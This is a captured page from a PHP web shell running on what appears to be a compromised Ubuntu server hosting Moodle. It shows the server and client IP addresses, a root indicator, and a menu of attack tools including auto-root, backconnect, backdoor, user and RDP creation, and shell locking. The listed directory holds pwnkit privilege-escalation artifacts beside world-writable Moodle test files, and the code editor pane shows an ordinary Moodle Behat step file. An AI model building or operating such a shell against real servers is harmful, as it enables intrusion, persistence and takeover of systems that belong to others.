Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
mod /
choice /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
add_choice.feature
1.23
KB
-rwxrwxrwx
allow_preview.feature
1.71
KB
-rwxrwxrwx
behat_mod_choice.php
3.22
KB
-rwxrwxrwx
block_editing.feature
4.71
KB
-rwxrwxrwx
change_response.feature
2.34
KB
-rwxrwxrwx
choice_availability.feature
3.23
KB
-rwxrwxrwx
choice_no_calendar_capabilitie...
1.9
KB
-rwxrwxrwx
include_inactive.feature
5.28
KB
-rwxrwxrwx
limit_responses.feature
1.67
KB
-rwxrwxrwx
modify_choice.feature
5.87
KB
-rwxrwxrwx
multiple_options.feature
3.15
KB
-rwxrwxrwx
my_home.feature
2.03
KB
-rwxrwxrwx
publish_info.feature
4.72
KB
-rwxrwxrwx
publish_results.feature
3.72
KB
-rwxrwxrwx
publish_results_anonymously.fe...
2.39
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
remove_choice_options.feature
1.94
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : behat_mod_choice.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Steps definitions for choice activity. * * @package mod_choice * @category test * @copyright 2013 David Monllaó * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ // NOTE: no MOODLE_INTERNAL test here, this file may be required by behat before including /config.php. require_once(__DIR__ . '/../../../../lib/behat/behat_base.php'); /** * Choice activity definitions. * * @package mod_choice * @category test * @copyright 2013 David Monllaó * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class behat_mod_choice extends behat_base { /** * Chooses the specified option from the choice activity named as specified. You should be located in the activity's course page. * * @Given /^I choose "(?P<option_string>(?:[^"]|\\")*)" from "(?P<choice_activity_string>(?:[^"]|\\")*)" choice activity$/ * @param string $option * @param string $choiceactivity * @return array */ public function I_choose_option_from_activity($option, $choiceactivity) { $this->execute("behat_navigation::i_am_on_page_instance", [$this->escape($choiceactivity), 'choice activity']); $this->execute('behat_forms::i_set_the_field_to', array( $this->escape($option), 1)); $this->execute("behat_forms::press_button", get_string('savemychoice', 'choice')); } /** * Chooses the specified option from the choice activity named as specified and save the choice. * You should be located in the activity's course page. * * @Given /^I choose options (?P<option_string>"(?:[^"]|\\")*"(?:,"(?:[^"]|\\")*")*) from "(?P<choice_activity_string>(?:[^"]|\\")*)" choice activity$/ * @param string $option * @param string $choiceactivity * @return array */ public function I_choose_options_from_activity($option, $choiceactivity) { // Get Behat general and forms contexts. $behatgeneral = behat_context_helper::get('behat_general'); $behatforms = behat_context_helper::get('behat_forms'); // Go to choice activity. $this->execute("behat_navigation::i_am_on_page_instance", [$this->escape($choiceactivity), 'choice activity']); // Wait for page to be loaded. $this->wait_for_pending_js(); // Set all options. $options = explode('","', trim($option, '"')); foreach ($options as $option) { $behatforms->i_set_the_field_to($this->escape($option), '1'); } // Save choice. $behatforms->press_button(get_string('savemychoice', 'choice')); } }
Close